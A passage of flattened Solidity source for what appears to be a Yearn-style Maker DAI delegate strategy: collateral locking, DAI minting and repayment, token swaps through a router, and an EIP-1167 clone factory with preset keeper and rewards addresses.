yVault.balanceOf(address(this)).mul(yVault.pricePerShare()).div( 10**yVault.decimals() ); } function _investmentTokenToYShares(uint256 amount) internal view returns (uint256) { return amount.mul(10**yVault.decimals()).div(yVault.pricePerShare()); } function _lockCollateralAndMintDai( uint256 collateralAmount, uint256 daiToMint ) internal { MakerDaiDelegateLib.lockGemAndDraw( gemJoinAdapter, cdpId, collateralAmount, daiToMint, balanceOfDebt() ); } function _freeCollateralAndRepayDai( uint256 collateralAmount, uint256 daiToRepay ) internal { MakerDaiDelegateLib.wipeAndFreeGem( gemJoinAdapter, cdpId, collateralAmount, daiToRepay ); } // ----------------- TOKEN CONVERSIONS ----------------- function _convertInvestmentTokenToWant(uint256 amount) internal view returns (uint256) { return amount.mul(WAD).div(_getWantTokenPrice()); } function _getTokenOutPath(address _token_in, address _token_out) internal pure returns (address[] memory _path) { bool is_weth = _token_in == address(WETH) || _token_out == address(WETH); _path = new address[](is_weth ? 2 : 3); _path[0] = _token_in; if (is_weth) { _path[1] = _token_out; } else { _path[1] = address(WETH); _path[2] = _token_out; } } function _sellAForB( uint256 _amount, address tokenA, address tokenB ) internal { if (_amount == 0 || tokenA == tokenB) { return; } _checkAllowance(address(router), tokenA, _amount); router.swapExactTokensForTokens( _amount, 0, _getTokenOutPath(tokenA, tokenB), address(this), now ); } function _buyInvestmentTokenWithWant(uint256 _amount) internal { if (_amount == 0 || address(investmentToken) == address(want)) { return; } _checkAllowance(address(router), address(want), _amount); router.swapTokensForExactTokens( _amount, type(uint256).max, _getTokenOutPath(address(want), address(investmentToken)), address(this), now ); } } // File: MakerDaiDelegateCloner.sol contract MakerDaiDelegateCloner { address public immutable original; event Cloned(address indexed clone); event Deployed(address indexed original); constructor( address _vault, address _yVault, string memory _strategyName, bytes32 _ilk, address _gemJoin, address _wantToUSDOSMProxy, address _chainlinkWantToETHPriceFeed ) public { Strategy _original = new Strategy( _vault, _yVault, _strategyName, _ilk, _gemJoin, _wantToUSDOSMProxy, _chainlinkWantToETHPriceFeed ); emit Deployed(address(_original)); original = address(_original); Strategy(_original).setRewards( 0xc491599b9A20c3A2F0A85697Ee6D9434EFa9f503 ); Strategy(_original).setKeeper( 0x736D7e3c5a6CB2CE3B764300140ABF476F6CFCCF ); Strategy(_original).setStrategist( 0x16388463d60FFE0661Cf7F1f31a7D658aC790ff7 ); } function cloneMakerDaiDelegate( address _vault, address _strategist, address _rewards, address _keeper, address _yVault, string memory _strategyName, bytes32 _ilk, address _gemJoin, address _wantToUSDOSMProxy, address _chainlinkWantToETHPriceFeed ) external returns (address newStrategy) { // Copied from https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol bytes20 addressBytes = bytes20(original); assembly { // EIP-1167 bytecode let clone_code := mload(0x40) mstore( clone_code, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) mstore(add(clone_code, 0x14), addressBytes) mstore( add(clone_code, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) newStrategy := create(0, clone_code, 0x37) } Strategy(newStrategy).initialize( _vault, _yVault, _strategyName, _ilk, _gemJoin, _wantToUSDOSMProxy, _chainlinkWantToETHPriceFeed ); Strategy(newStrategy).setKeeper(_keeper); Strategy(newStrategy).setRewards(_rewards); Strategy(newStrategy).setStrategist(_strategist); emit Cloned(newStrategy); } function name() external pure returns (string memory) { return "[email protected]"; } }
Returns value of DAI in the reference asset (e.g. $1 per DAI) Value is returned in ray (1027)
function getDaiPar() public view returns (uint256) { return spotter.par(); }
508,306